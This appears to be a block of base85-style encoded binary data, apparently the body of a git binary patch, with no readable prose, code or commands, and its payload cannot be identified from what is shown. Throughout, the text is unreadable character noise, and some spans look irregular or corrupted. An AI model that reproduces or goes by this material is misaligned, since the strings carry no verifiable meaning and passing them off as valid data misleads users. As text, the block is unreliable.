zQy+~>p3TO%>2R&UIGP=`X=Xw*+??4-*jOxePiz4fERmslq%?Xar$awiL!)%t@}_Re zKf2Sut>-5O`2a1_41CWI|2MY2#qUb&_#dIt{l5|_|4)F#e+ZTTdJz9@g6f7cKoxu8 z{Hp9M>ndC7Acw$86l@=o9fT9+1ObIi^v`xIhn@H}5I=ycgCBnA8R(vM?zxYIunfr! zRp>ufc-3;*d3#cORe4oYRZH)fe%EuED?eufeEs@abWvMd>HB=yqkdO;>G7Oq4*#p4 z@g0DtcQjY--3Om7a1;vlrHRKdw{Y@H7rycfaVKxVkkU`@h++O)th2lL&z{8>Bbt8c z6b;KY~I4#m9wA7k=^2V8|bMUwjWIZ+>zaq`<&864(N~9k1gA8T?-QUVD$mh2V{MgE` zbode0cOze&BZ~3|47}Qd8}|gkB+MPIUOK5v(xn|Sj1c-ta?8r&RYQ0`{Um2^b?JH1 zpxcPd3*IuCn#^_VZ)QUxo z!D6)QzbE$AgNjv=++*2>{sASE{#h5oGDrgV?$c`cV>1{lL z4EIxMNvD@NrVE=MD{x6sVbq? z)gsAJNCSB4$fRL+25&ENUjS3X5ec?9SCG(Slq>V8av(yi{(c6hwkcjDr?ycmfkD~F zyC7EW)JUOMDxu4Crs|1sY*bC5FN#g8T4e9kPxy5w)3>;OwCqc!Tf10Xb>SN`3ofGxh>h$9zoBsbb_whshVO-!oMq@Z9@uVL43O>B(fuwreC$F z%l$>Vn&HfmTI^NsTt|JQT=MD6DNl3O?ku3npD%@QsoeC0sEfZ^EWvuAB)3^36=%74 zl=%c2V7E|AQQ?6gHLREEgI&|^cK%%^DVSThxKxR%RM}=_mYEH%$}Ol14_G9U^VBovgS@g?gmJ!*NDIh(B90*ox0uOK3mYor@qyU7R1uV058ZyBCfHYyV`B8N=p@`+^!ss853)V zd)B)eez_W(x30If(riUTV&)pnDiH12m?E0Y8+|%+q<^U+C4jlMvb53{m^fa*p2#%^ zxe^u`UzKg(A+&`iu;meirZVWsv7A`3hfz^mY)-92r>_(GEQ^Uor3-MM*{L|QpYdpx zwpIWA?tqi(I+_(~ruwEn>0bxMWWNHsicGb1=xi3xS;w#Fz@I3%A3zRLLz>88*8X1b z7&ML!wB5q5xFd*JR|Qu)=1{u7Ck~$RXRm)0x_JD3KyE>$2~qGd)GR7Mud#u+y|$NH zB`DqV!PuSRG+3ll8gOaFfs|6X`56ho2GsNqN$tp85u?70dRb=ANm$E8Awg7*fc;C4 zDngP-e|Ok~s)+uY4J35$BgQN@oac~l0$J?N-{4^)&AdDXrx9*RStyk8!F-CS#lq0% zl*n^zZ)ZS;es|Ej5pFk0q)2u}u>`M(wKduyCckKKIRX{BQoYE+Eadt{<5Cd12@T3e zC=W5l3mO!3h}J^i4zQ^QZ0<8-LN%8g6EipZ5D1Qwxu&R)| z-h%}`8aiA^`V2lJr`XmvLIV?dcj4QJ(MCr~Y1+#y4=Tr=`Ra%;^m!aQd*)cNT#NRx z9k>T{jm@P}OI7Q49C~GHK%JFVjaUHQ_ClI{E!l(FsGWG&3b+89hEhu^r6cx!O|LNz zP%LYHR8%N3kOG>~!pL^%CiOb0v8Wq~4%}Xj8Xokr+n-BTlx|Bz1v-8+0b~vDisn+9 za*He2Ye8Z?9c`R-)S`Loex)d(CtRz=24e?CO!rImqGC_AaUBka-Aqg5;_c@C-Zyb? z1DzpW!d%OUttA)!37SL;Q`P!TWSE_t9Y7FG)t{Y#rSb$wO}uJN)jlm#KV~i@&DXNS zV7}~TZhzzUDgZSgsPtB~@=}(Aj>RuuR+tgz6k#Gwv)#9r0R_*ESKPM+F$gvD{CoAUa*Q&NC3P@Y;dJ2Tfydd5`K9F z)Cx=)0aBdVOZFzBe4QR)fbAOl5(1TLx1ukyGq5?#4;>I40pq)Hk!b|ORV{`28kpI@_R`}HCPWxfVF?U_*u&UWe z7`!}OaVYa%k!5!=rBdWKTT@&VEkNc9tcAf2OeU4d-%Z6?<$9^dJ{-Hu`16@*_DqZ7 zJ=gBTjT%gSgWMiWsacQ-XjqKJsS*y7G3RN4s@pPNl=G0Nfg_5HwkD<{LZv96q7$}&s7mT+ z_92@BUyj^^C^YQ&68&MI+j9>qYD-tZe{6qkq#lJe=z_FXGFEqL1>A0Md1JxACs2!! zkf4v zpE8w;QqCz*Pii5C9eHyCUtGpy)u)g95M2iwn^ZpYi%sVnl8$=B0y--DsW)3 zld7P_N(oZ;ndl%%;_Uad9Mj6vl2SwrpBx@)+$ij9c!+%8LTVE_HnSYspYn_&3+g0T%L=}e|Ty1qFlv-vyZWBGH z3otYF33qMb=BCH;Sp;3ArD`#95)W^P5a^tN%m#CEAUyjF_y)q68LxIBe%iX3IxaMS&dD3)tokxj;d->TS29-%dS5R1m@x# zueGGaMGU`gH&S&)^M^jK{{U-~dhSXMv0_r#kG-BL+CN!?=Wji@%Ij{y7{*K`K9SX; z`JN!y3ruY@$*~d?@V?x;Vf!YNBkpVT>S>r`I7;kz42=jH@F^qpMs3;}3Jw)j^+iX8 z+|Byh&Prert;>wHEdvCpzWjV(F<28xA5FeQbv5Vg~lqQY^OV?A$*g9lP&q_yyE?OWq2(N^K^yIV|G^o~2=Jd?3v3lxK< z9=r)I1X4yk=E41-|1s!Rurfu$KB|QQu8Qo_yDRu5zsa#28+frA63Q^Yh(Sl#ZrR=4 zj+r>z3kQC?Q}aJq>lpGb?eB2Xqcgh0kA>{tDAJZ3gXbGtS-Pv{0>;T6SVeN_DR3TO zJC@_kCrc`yf{5}a_*G9dLv_g0a2~8XrxWIwk2{)Y&kBCx&u|`qTX*)sg5`+_P)9n$ zqv?_{upTx@`4x&5)8_IQ>Au*5>PpEHu^rS(Rl+UsWB8sRLbH zV(EWoJ5m=jp9`RoT+`2f;r3Xf%t|YlES{Rx10RtuYpChEZcpn}K>l-DM_`cHbjj{w zd4m#I)&sNzWF*0!jyV)-Yi8rqCZ}NEao=@RKUU-CjNLFF9Jvg}X^x%XI)w4V>?Tt} zn^o1|xc)(0(Kl6Q@Tv`pi8;e-pU7+62?aFW)%g?ePL(9vJ^yP1g<)#HsYy(4e0_s) zs|iusLm15CT-N?L+U0bEop`HbM1X3nFU8#sP7xqzFDMk6;Wf!eLnzI&b9vsBOqY^c zXVqZ*D%}17@hfcS1V+*oF^w9zL`x6jBw@W*4HS;0jXY4BNUvM3wgkp;KqfJJrng@S zdO>Bm38Rn-lVOlFkuBXkN3z8vCrMqELROT}j&CH|qZA>|(}nL76~z9)M7y=uMu&y!$hUjgJ=p2c4Zl&5^(u|YwM&}a=~#{1Ba~Ypz&CZu>p8k zQshFFpU%@@JuWN}ff>tgs$S$k%u9vSQoA6Ke3l6!JEMKZ$YoJd!F;GYrb!rb_y>Va zcrDP?3l<{Q_)&E+!)9ArTZ&YAN(_~`J7*f@@l9P+#0cmH2e>nF&q50^XII;A;D z^k!`m#~Z4P&(oPEBR7z`vgDQJm^hS5z5;&7o4RDh!{EpOtSlX&$_3As!PnG7u+RNZ zp}prkC!nK?Q1D#Gb=|cfU}?{?kfB{vvyd{?Op{b~@ycn&9L6C~IYzd}n4Y`XIsvDL zYPr{(+f+$}mP)_F;}x=P3XD<9a%Hb8qHJ|p#Ws{x00Y0&$O_BX3cq7{B~X^DOQw;q z*mMX2b;A#;6$OLoc4x=4owdfUJAa)-zwqQl|CZ}r=CY4);-$yh&q^wpqCuTbSs7xAmR$fkmoDjQc zU~Nkhi%R^F9x+Uu>=aXN&N;5N(m>(@O3Tp47I2f`@p!CUt*vTR)~>Z2X*x|2r5K{E zOIVZ{fWc-A6jWk_Dcxft6SRc#_}K;{Gs0V>=fH03%+L8VT_$I(yR50bgPmz%g=JBw zcWu^HMe>gJ2iXQUO57<-vj$;9qBM1sNI#qVcXX*{S&ZWY#OPLHjASn$$4~f)WKxG# z6UvxbdR>j1T~FcDS@0UBj92WyC3oND){joKQGEq%ZDnD@zL@3)!j1GWTRVu7a1=Vp z5}m0>x1eVpmC7MYild1C(pyx`H;v`-5JtDfbT|vxk+6Zh9q1-teX^8SU$5+Oi3v)l z85Ajuvyk;%&{)$Xj*o+1<_6C*?nVTH<|gg@m!9UBp5H6yopudrxr>uxWEJ%^S*z&s zbP-<=^pZ$k(C+LeA;5QXaRmwub1wftJIShwdct}kGYhBMuDpf`#Vd9nU|3$6n7Vk# zMMk{Q$?weXis=+dGDp#bpe33-!c>n~qta8$uc&Qj2~`5T({kwPR6+e#?*s@wU znibMxcOO>N*$oVLmeokkn|gBJE=eUDr8YKOeVJd(rk8|y3- ziE$aFq-w;CqLXIUs@;h+^1!V_tMPPeLm&l9AP$MGdz(AXScz`#Uxu4%EbH%Jn}@{2 zjwS`4-9_>sFEQ0`S_d;0cG+-u2WsX$m4i+V?o^UAB(|a08H}Or%gAZ^sfcirupY+4 z7U!Sw(Agus3DMqx<4%wi*e({1a zUx%5vr{;ty{PW>!&jP#eMc%7v+`st4`~|^0r{SE3rneNf9SG2kzoHq(J00s|q%>5- zU<;~}+$C=~eTmBzRg{W{@yHJ#1-}NO*7Jjb?vA9ZGv3Nt{{Vj)J@a;#A>0>nW*s+1 zt5(kEm=_L_7NTWR(wa~^AXPKw!Z~*J7E;qh`$nLgtCuvjT2~rQJ$K-D75(af8KCmN zBjMZrVLYe8*oEudOF{%cBIKv|Cueo_o-I0sa7y~4(8`}n)8AL}#sU17zWEm8XwSZn zB0|rPSwz0$9zQVET1aM~Z<*13QZAiJ%&3|bK*tMf>=PncHxz%ihj1~T2CHC(*=eZD zp@6P8xZl!WjNZ{*I~2c9^VB&w?}H@NbdN)3GB{kr@DtN=8@wjT)E9LpWQ#&S6MtX4 zmn6rSwbixY6^M700QBqbi1sf~#63~*(AYd4e?aa%LpoUA0Ph>{>3;&d?F_)Y5oit| z$^%FgAq0lVIib^pd900LYmJe4r%~MlEACO36cZEojZ>lZSrEL377x5qfdm?D?@=BH zp;GDAd4W9sfRZ)>l65d*KajMi0O7l^#IR*aiPm_#o`Yf6z}6?6A2HRbD?~rT9|!U4 zv64;$AD;gD`>@^;1)Dnd87;D=aFj^zxj?pHN^0w#18U$-!S>dSAwe+%+{m|677cIu zp(@~aI9B57C$VQHU?>>)kVFm8kRVf8|XzvtZ= z%JgZT1j1E8Fi|J;-Wg3k?H4k9HVOA=+6MZ4_LB^hoIaPDc})j$4cjpT;D#v(ET$1M zsu6`?11+r?r_DqRm~g;>*m2bwk?f&xLZV!ndjf&uX(VZeSTSeV8)t-7=$qCSO|OLu zgy{zz$&pvDT^d%dgk7Opks`bTs&cp?jckE9;kl^0o;aU=Z~Vg|uat>%%fe|;j(WBi zk(Q8&ORpo%tKL6q_hS}#tNu$`2)3<4`Pr5)tqV&V?4r2`I5Hb(O)BVbumm^9%O`0v05ZOAdAUdLKuW<(m`aO*jsdHKqf*C$!=v>fuKSY%w-F z^WnsU4NY*OsU^rfz-tP9IMsEW|5e%G7^(9~s(Ncgln>ExL+!*PRk-mq5*59~a@Z%c z_U7eX2F2%<7O$SZOmU}PAZKIM_q;u!GCx^n-~F}_cqN+373!%czb=sg&9Pou%xmMMf(+itfcct<|u{E--Y*S$%r^Bk<%es-nM0Pxi^a)@lm)u zd@HzH+^>2q|6--Xno$mXYvgtmO+0A4n$Lwa*aVBJ3|)H9T7IpUa-+QAL&`5A7+1k2 z1|?Pw4Z#BxB&xlFWZx#Dg^RdNguskPU(YI?L1tai%8_IPIMf(er{lPJ%%YVrnr^O`WrI5yQ$6PFY@AGoqm)ctBY9LmVJblKKXfy6&?Oj1~0j#yEVy z9*7+vbp<9X+EF_WPmTE^HvCMdOmIAdtdphnaZr&*oG0~#VNhlfdG=W22NfFrEGv=Tow9-S9~;&W4|4hV?k|5Lx55B~kbo!)d zUx$B`s9|cO$hyrva{_;eE33B_sFu_h*OPdwv*aim-&{c>x^pUX&Arc_`xLV5s5&Un z)D(z3Tbm2fAA*OVU)ixm%vA;g&4T3cG5 zvWC${E&<|!=TB*Io$h}?+O#MCR2<2AvTMms(iHtOVhZMEAcdLAE<}DAPrOV7W|Ep3 za*!<^o$YG;*pZVp$C7oj<2&cbw3hy?i~w!tuhR?kaUU}uXBX)3C7eFZ5Loer454kd z!IEd%ASRU85JU$>ND#(9oRV#E)kQ#;!j)sQ+Bw%+8gvdi$zUmBp=hOIy99;q1~ zsbOKX>4tClgl~O^Z-InsKmHBgg2{34VuEfjd&*=(C*FS4?YVZ{8q&~AizOz7W@d+UfUAx z>`3y?3|fH7>6sBvE>Mwp9DK3(;(j0LJhw+YW{x49Jt~AgT7^Geg+JniKWc|RZiPSc z{Ec(?q4Sg?pMBNhe04aiMw+D~A6%gezt=)Bj0Gts&cp`5*0u8>{Y6Cj3yJg>^W;!} zKF1Gw1<8va(iutkoXs(wvxr=_72VG2&S=LvsjCAF)+?nPnRBCwKQWnbVKOK_)kr}`=hnJ& zTZ5FF0ZDTW#j4&He9l2FV}^kdGZ0e;AwGFWxD>*0F@@3M)!*oet?Qhned8Nra)K*- z5&qS@;J8JDVOvNe4pio1q1LE*u2EW4)2)8XQnadYZ?PbVfuMKJ?hXXJ*fKSnjz6P+tcC<5bqF;Ng;gmRG zESo#3_xppl$tx#E4kAq~lWB%hx?q^Q9Yd=KhuCOgF=n?;2jj0~>b4D!#gIh@H3Yd~ zBG?d+i{Imk>HJwOiJX(r1Jt!(`AW#*8R$Zg+!+#Q8-`AIu1gB!_Gd}L>7m0QR)qIIM)+-wO^4aDo{|{g97^GRy zwChgWwx?~|nzn5`ZQHi3Y1_8_v~BlH+qUQQyKzpOz2o~Ls$%_FKUQRB)T*q^y6$G~ zsO6ZMGB@fHvCk#?koP0n?ZcHGa76Oo?^RQh~fRWQmSpstc`6l3lP&$@e|I3KZNDiZ%Len7-sICx;u` ztYZ63e4ptUJ#eUGVP3@3v4Ltj#;?D;QHexrG1(#g5uzi6?MewmJ)@fP0%tqL03_?R z?C$7KAnF{-1AIyj@R89eou0W~o1kiYVnWOAIvn~m@1jUPL9zd7KrV;4XN|l#-Z9m8 z0i&2OhxoHsM)IFX_Scj^ivoc$Dpu1p`yS%uBXnTgRth&q_Hv1l>V}Z|1 zZ$$hkea`I*4?{@mg$&#vsx?$u8G^8dZB&n~SKDAs1I;`1_jz>!8G&=awI#}w^14)c zW1o?MPP6~wL=Cu4;?6Bc0~6Jegbc?dQDoF-V)@$tdN96{&R^51?tV$CUQ|E38}dM7 z(2n7bHR2^5fZvRb&&kOLf^uVojT2(imJP^qgB^`$IOJZqMz{s|0(&tk*J5I{$V#P9 zg%Kb}l&nwwVv}SoW!qB&+29k^R$?|LRioORPx@t;#IMe=8K?E7EsvB@_bd8alqU+A zc%JO%Z*6FyR~1nJ;Op3MZtbGX795(>hzjhie6GbM?5tF-A=!T$uIYXG6u4S{?E9S9 zQHilsLNZqFm&B5w78(JtGjWOMX^Db(sRXT73eBC&WfFC%zQ9A+QkD%=E*P!^uoC-6 zK_nB2m>%4SVc?kOO6jANxQb#^u!2dH-jv$a_ibQfo2c1lV0S7Wk_r0J#N^rmfb&tU zg6?%%)QRVU`roRy;=JuOx@+=@KdejOpZ&|qFCxTF@)GAHY!7)?lzS^@8AEq#)79vp z@COSwxT;$J@K3~P1>_D2gyj95DkcWP%K05$F!&H&i9h2mfhyxh3164B?)*&L(wfe+y$S zd|yx{Wa=W4^bC9&e(A2kxGJi&&Q!F7qclNYf!y5rqVQsdTFzch9(+~z$QR?=OR@@u zIvuW&O9*YFmrIChGeesaRjONV9Rw=Xr5351IPkL#5OBnY5|If0==}JJeJ7egAqcN^ zS2U;c2f^>v@mp#PL}gBjVL;4)<~p<~Q8x9?&!sCj`26sA7x5LMUBz$SY%nJcKVh$9 zvUE)kbGUwpdpz(k@kBg`l6fFGA;+b3NAP$17W+T2hL3;zcmK8*cm4%hd@ZiZV{WGD zc(J9~ZpyaWHfg2{(ZK^r=jqN5O|;m$s(bYusmJ#e@%W?x(Pi-FZJSAPpe7hSy+o}_ zuMKG|CV1h~4#9?-u}T+Nk#_uJ{t{2V0T=Jc>(2@%e@Dl96&xb{U`Y>W4GTZG(I*WG z1K)8)?%L|L1VD8T@^&@ul-f}+mI>})OaKy!eGpFVG%f}q8Qo~CNSY(m@tWx==?R%N zMB#QMuXXbRKggGd%n0vPjr$rrc>Xkg+2sim5F&|AqRpRAn{usWZJL$x7Vezrkispg zk+i`!qoIaTTK+~f?*E`1JFCXupK#&_;QdPc?Q9x+HUR=mg_EkyP1rp%wq^(c#HW}> z%VEkpwPBNDP=3*q_-+pAh|F)N2)v>hfsqG^x9&7{!g*rCc{*TO zQ{a=Tjx=HBhAENU8`q?Cmz`mv{5_~2Z=IbR#VlX@O35kz07!=@|1)9X;p4}ap%6V@ zpjX(8{!6T?7WTV?ovb}5;Y9mT^MnwucQiKzid&tUE6q^8(wHXlNR{tG4lbB|Ek4b+ z6vHrzFInER)Qn6xoRxejrV4Rf=h~s1<#L|&Qj#{bOw3$z>_b7>lP4}KFwm9~b#DsD zd^FN>h)y=OlfeNacbRT!DUq1FFkh;W?+aXmF-$+*xcX^u45N5TSxuTD>1gB3T{>8a z9Bg+%;7#LXLUYB`EP%Jakt{ z(vANrT}eavN(`J$lI^!cxDZ(u=zLBO?r&y=QI?~1m8nwR+14MIEh{yQE4MTj)NCrF zp(#8J&B~)r`B#Yyn@4NB#@^W73k2PeJBhY zJ_M7fRLLeiId|ePmZeWFil=_?w70;`COtd1x$`Q%Ci;w(xr0*acPoUpB@_BPGe7aF zZyhY0D1boKrvpLXGGwynisOZzfQ}m;?}To=N)Gw1^K-%ZMjKn7k)?YCkgm7G{xpDx zzwg<`S%C0|kBY``6o3Lz@&~*wuy<7FD1&MKfrG;{_IQ`Tg`#JK*u$LYBNv2#McO9p zfTRe=rL#RM#unGwj_8eSVGryDzc*P-{u8^~9Kz{$!PhU$U>Qfz z%%mTm=wK8ykxX(@LEO?T*)_#NLQUNgl7oI@X@(26 zyB)0(&hCnbP(d27U9e%KJlfEkROKIkserq@rqCY&&v_{Y4&c|LDF6o%=JeuhVyt#+e_EzPX?(JO2~EDezd`kG1Vd#O=5x7y(ssmsW?DG}G=si@_9b#zAg z?A-^-=bRwBaMbav*#P=6VlbV0pYnm^gGpqtky+s=1fMgi=v=5z!lCxR0iNTRz}frX z953hX7hQ_O-hW2-UhrKEo1CxEq`WI%H;Fy^s&|+k=+>b8%^k2=rh||zx9O7eK3H&| zW}yHt5~LH=+wgOyHAPz1TdWk}Q2cAkK6RGkP05-KzyH42d+78pKh zW)oT!VvP($uoN67DeBPE3A$gM@M*M%_2L<^Bmz*isz-y%6C~}T+<3!2FnsxRp_ryP z7aB8xebmS6ukc7@Hv@yiTA`#-O%+t#iKwXB5p?7+Uqj&$MG|27v5UJ%h#EkVDg&G? zsuweDAaQNI1mYVJk-QE0Xuk8VgVe~I1Ggn&%k5BxnscAP2a^8pGZuP_Gb*+ zJttYNdQ+m%j#@ICJ0Xee$!vp;E6O`jnK|)KX^vzf!pv_ict?G~45~-r*k#>j46@IG zI!V!bpzDNwqrnpOH>I^Io-EK^hlER^HB7vt)hyJ7nM|qL;j@9G z*#wj{g5louO0C0WrQ+?79EzLl%LU0zDjKH*Pe>4xs%nPFKjQeXrKLqKVAIK=A5XXK zJ8i^ZhH8_yYo?4qQ`iBpU@43uu_9Gf8LE+wX*+TPSO6EuFzgq@qZ>VLnuI50l5?6Q z+`Tr(j0yR7jxjB0=7~il7%eKQy9B{(0)(kUAw>az0&7Bng0pl(8aM%zb^b^!9rf9G z<0A2pERu_(E_%1FgKc^B`|TVp{$6YKf2mV@dI4CTuUBT0F@O)a9GrivFdgoJnbF&? zS5CKrsK#`3q4x=gE_J`s!gp}j;$~L|UH9Z?c^h(b-8V>-;JB$!pNk~<0!VI=qlSP9 zwS18JhmK<^xdDGB^s%e>5LlJQr_{8S$es$g@P9e3#gCk6m8<58CUOOcTQi2FU;%RO zP;Ca@4<`V+>vjDt6IJzko(OJKbwK$;1U55!SS77+NT?!r8P%hp8Ny-qD&c<2%+%Jo zm{8%gIbFNQWW#WJ0Zy)=V+tJ~yT+kWxGdwL(GasJq^G^)OMR5v4ERV~XNl-pN2;N+ zais+(d^IR)*l|o+VtGW6%pk&DRehtpGUhhgMV~MHB^2+SEi=WT*ODt{7@I?)IFBk7 zechDGOFm`d8@Fbu6>8BHN5n+;C9$}lca}5R{CgbRJU`tS+J_9Kjv|3U>h0`^+JAZH zq#Nh|GmMsf#8vfktfT`+3D5RehfmD4Q!)T0NUnK;eF$H+u@^U8YU9j}_YYnsCIm2z zo8P!p!O1XtWy0NO+u-ZHeg#2xp9!3ye#Ucn!7_y2c(A^|mOBRPFn*rqZwD;{NRB)4 zJP02>IXkm)qn|KCpZ{ErdU^Jjw#?y-J7yUofxgV0zE7^NF0E63_qepe#3Ef=zfKD=wEnYqzz7QiXV*VFFv$>xuaN`J5kkozlP(( zu8%djpzs~g@!|%L??XXn3X=<6*)X@N%7m;FW7R`bd7ZN?QX4RZNwGkAFvYe7g9^W3 z^x_0Jm(-}W24>^rt~0sd&PZ4mReQ0|)7EezIcQ5*3h~H*VMgEGlpVVfRPt zG4;MszDHiXLz@S)v^!Iy5wIZ!rji7&JLi`U%nAKQf$j1Bd{=G-n^Ka|sxPUf11*_&ZWb^OO=d#LY2fbG zZx-<|#4IW>a=>TyJZ+EpRuu7YuyXG;#y@l^Z>KuWxSwME-jU|31 z-qadQGj~MOe|i?S8I+iel}R`0XLMbDIxOS>iav2KQE}c2>o9~&cM_Cis!1c=t!n}J zXZj`&V;Ydphdjpvb&w4~8Lin(a==t{uUXpWT=}GrOc^+pIRw5e_iq99ed3Z#Tj|pl z;*o)2d%2Y&g1dMap3wV24A1vYRQthLgMtYbbQp0e>+2XGf|kQx#wze7$`ly)R{sl8 zom?jB%i}g~EglPLo|yl3bxs;3>2?@#t`Xny(@ zIP3J8QB`MprAnq@yB2{>h;ALp70wd=15LB}sB+fNR4)$_M?Q|flEkpIn(EzS3$dVNtAi5R0)hc?|$`)p;l0I~^#d(ML zQrBW}CfL0BM|W{e08pF!Lmh6=dPCYnPX_}<9KAqh`Uer|eC&tME%%C%=Hz&YQi2P; z0d4QR55aZ=s5M-K1>pI7kESQ+nv<~~}78`rx0B_4XHSgB1Yg?9ML=+_K&@r~fnMnkvpQ54Yfn7UnLce(N1BOJdHPXJ-!Xd-e%{p5FpZnqMq@Q@wM#Pz3 zdV9zm|0s-=T_49x%ZxOwyHM#WJI2hi+>H&Zj8*n&68Sd62&qCR7` zjT2$u)O=IX$`Tapvqy#5hvfA-q(w*PdLIeY)RdMr-lkSqTZaFP(xYLq5!}RpxE+Z_HQ5XA2CjoP^@~grlZ5{gasfiGUl0EjYz&Yx~UBkJDRCoTLH;>Dl+6AaK}+zJEz*C^9iVnQTNBvT?JyviLxvw2+#y zl81a*$QN(yoIF@*e$71v6kdkXU0R-0@PoZ>_@%U%0}9=Ktj-IkSNHr_Y{3EqKB3yo zAp$8bP1mY>K;5nE`$;#l<_bR%bC>@F^;uu{w{2YSN?hu3m3{`2TU|E{Y=ql1KPjkJ z`wmIBD6HvT8rVcW;pmk50?MxM2PPR&s_b~+jpOg=BOc98rWp@)8rX2sZYJx09oZuH z>8|Y)6^zjk1f%%iX#qHJ-|lFKPLWf1RCwkQ?GO3})fYRmV5CL|fV!gvf(-f-t`3Rv zLRi-mXbE8&sRqlFQ-Oy30@0;KbMM&b_r{8D_}w(T=}zC0xzU;pt=Wlbx~kW6u4r1!;eqP|1w@0`!I$7h=O zLY$}oXH;nQ%+%}wB%bF-W!WmqFMEfl8hUql#`ex@#OriOG(g6&+?-FeAuoH-fjqb+ z@ae+fqX^9Im(Tw^IJLlNETVAW|7#gJWHc$~Od6a~XPQPjxKJ3u28ZsBQ-0-?C0f}+ zFvUYs9oH^>@t{9TO0>+WjmPF&-5%B0)LVf}NRKqRil8GJGBI{hWqNJb>s#wBdF#!2D8Ou1E4B+BextqxURBdd!G-1fdyqo&*Jy91A))|+Rgm&M-I~e0$(rVU_8N5e z_BME^$!S)8pXVIB9uXDGY=SN8_vD;S*d~4e55n7uSPoy?X_Q=0_JKq*6J_c~FKg3T zS3KjKy5Ov)OZwCJhEV3qNpJ~_Fmv$Sn1EYc8)Nz?g6RZUrcjYb<=$*f=Fe-jVCt$z zf)5|to0>OADAVF?E2}#sIDt^3`!}K&d!p)6T>S>x?)mZZkzB z&}s24zFSgJJqT={`gSh9yOcej%3m+${2A@?5S;$nh1>P(BKooY`ID@JD2VSFSiigt z`n&6Sko~G`$Lo2~p{onStz&aX>6x{Dw1-H0dv=ic8N_4Q7x|9^QPA_&EO7J+Ye(ie z`iAIP=BDYLDchlMO7*#lZuk>Y#4{=X8Sjc*-G4*VY(-z+Xo0!h z^fcFnXKTP;FNWfj>!H6Y+ahmrAIu_hn>|C|4~ui6dy#s3_+M-KMo0Bl$@^DwWw3_x z{ot2l!54-o2Lf7#Xur5sZPu<;Z~*ferG4X*b?ZU^*1i2(FzVTH?OXt4w##35-ah=9N&GEqW`{Hf zh|~#A>5?JU8C`M;JGrRFA?x1M;1zTkgYZL2(+mez2fLa>R>WfM9@jEoI-$%^>XuN&+QAM~^Rga9M` z(mS3oh7F-f)P}GB+88>vh)64-_Z}sPte$EzD1f<`%*g?JuoP zHUUa+EV6gyJ1VK+d7YPDpe2f#q5`CvLg26NvQxrMcqf-=n(7y3eikjd`611NRX7XA zbE=u?jP{OjK@$?<$No<6V(|(#>C!qXiH;9yED~HChF3yO^D<2mPmB$-7FOEIzg3wc zmkQK_?oL;QK16bZ3O$hds)wx&MsI*vlIg?=1>OGIT^WL!`>Zd>m=Ktg~gCk1ao*QFJ1~>7jUiW|Spf(vw!? zB^Y7Pl&vlOYixuvj^#Y3hB5Mmy)4maB-bb|m9v4QQCnKsP6Dr@*wFFfK;aQvwL_ z{*3SLUly~LGp@Gv!Wo440k3(5;PV~8SN-cSIqhD21gWeYhlo$fnUTwn{4ho|xRxaW zXf-P1=@rG@lR8m3*WpSsMLX>7#j_dhELr0SHcA{sNA+1jG^$(UfD2YJiCLb3g`SHpxACb*0azP43lfVphwXY6!8ZDr*G8^_|W zQYJ)}K5>()p!v5tf>G7cwXv9n#D-QHF@geeVr_-{`p^|E5ls*;amyxF-WwK9d1EMl zXudb#oTxw5nYE0wLu}gyQ7R$^8)y)BRcz{|>HbsG-Eej4^dC6Rq-i4pC@tTG<(lFQ>&EYKmY%bUQ%r$-;zXr{FsgV??5Od|0f7V z(caR|#ng#R#MRQq}0rTd#!~ zOcUVbypxhT#&c$^VY)y|_ge0zu3D4WY-(ku4vExtq3VK;5p>yt&Ufj$Ok{5$NY$w4 zwU=y5PQQ^liHghA&fZbu%o91r1_oL&|azb&(d9Y0l% z)~>qGrT8v{m!LS=TR{p5XGHn5wxUx=zYb1}`@W)yz(vCq*TbvL<<-0yzM*h*(wotP z-@=?G^&jKhLG7gAftnaTQ#~I8!nw7D|c9zh}Zr3G;yaah5AlSkp>+jk|>Fagk> zRgkt_^vTQM)nmCiu(uf8Snj=0&>Hsnlw?|)vQI8UQb8pbjRn8ecJl)Xfv+(ENCF({ z<0)E*@8OVUS9&TxTRNpJts9eUbIyP1AJ^?v>Q?4X{X=oQz)ShDf!rzazGW8`t4Cj$ z%(Wjx?M21xCFGLpb${}G(H(h)cyBc9gjY6^Jj4=wh?Ty6idbZmKBVvG-S{kFL7ks_ zKg+2)lQd~nPW*lQ$^9rZN*%EXaDQ>qr`vP&Vm8Sx2+M39>j)qSaNH$ zd(nhG<8Yh|4}B(!w`wQ`_dBqRy>a#t?aD&}j7NJk zNVS-bu~4gCN}+IKK8w*-t=FS|e!9m4kESn}c01#3Jthz0nC;`iDEhB)P@LWla5B0> z@j8)_;phi)9`Im39u=n`41ZdfY<<_HbZakotTC!fYB}J`eIm+2-t^m?M3kYCDk#g31 zD$eOd7wMOE_qY@WuQ*7hOU>OaIyX}BFVv>#rR`(XrR5i0rmZj(*O{ENOgFiBNDGHr zsY^#-OKoTebn)T-rrB_X z?PqA7l|^F>WyyIYb!J9TIU@EVYlnI$dig1{hjV6*?68%{_3$o5q?R4f&5J9MCgH2P z(&p)|KO2!*WLVo*^lJP!wYsc!d>BfM6E;t_5ByHLNsUrfnbHHvM^ z-zKn^=cG2jzdN*)!=YFY5b19%cI zW^OTv%&~jge3)X!P&IjyoEgf%W=d)(m!+R;KG4f#|G64|W(rI>{|56{h?hyvltQoO zgc$6uqUMgmf&SbRgJIldj(g`sh0Je|=pz?;Vv~9y@S8149vk3C{R$9N#*utMBTT(9 z{|H^+%7JY*CUmm&lX;=lFU8H0(t@EVPqTs>$U$=*MRs?8%`S;_Hl-(aHp9?UUjrSr zTI(8H36Q3rV^Y&Q#Lsi!iTf zn(4|&)#Ecj)_C3~xT+bUDGqE-CeT_Za$i8QevEYLRiMkH$nOvB*qs%X&Lbl-7CE<&m7aa#!+}UF-hBjEYDJ=Q zR%v$5=`VL2AEPIoPRp_rs*s>hh3Up`K%zHg-4&goxIXgMU~NqmnJ((5{?39YcyS^7 zayq*WIinOW^)E>!I1Ab)1dHF{m!SuV=4sq zsHyyC78PZoo@;hM0)?lN_3?Dgp$i>qTb_0V?3>X)%ITb>s? zg6(Kyss`edrRncrtN8i^yF zZ~x)?(48&-!WbAX@b1%&9_@gWw(ImZ)CpQPx2n%tOO{h5WlhAfLnHEuYXfX~p?VSp zKGvUf*+O#~VsoO_asn8|CC@Q4x1+L7Wv&pn!k`>@2?wdRJrULAIJWue7NwH%X5i z9!b}BPN#9h1T)qgi^(5mD?NOG+Y${z8(Q?fYb)~Y+^y0|QAFkwy7;4ppNQfQyM z90fSTX_;ie_SvH(TQ%56+EahVY&5D=`_28KwXGW*iPGu=<6WGAv+Fcu_L4dp5zeMk 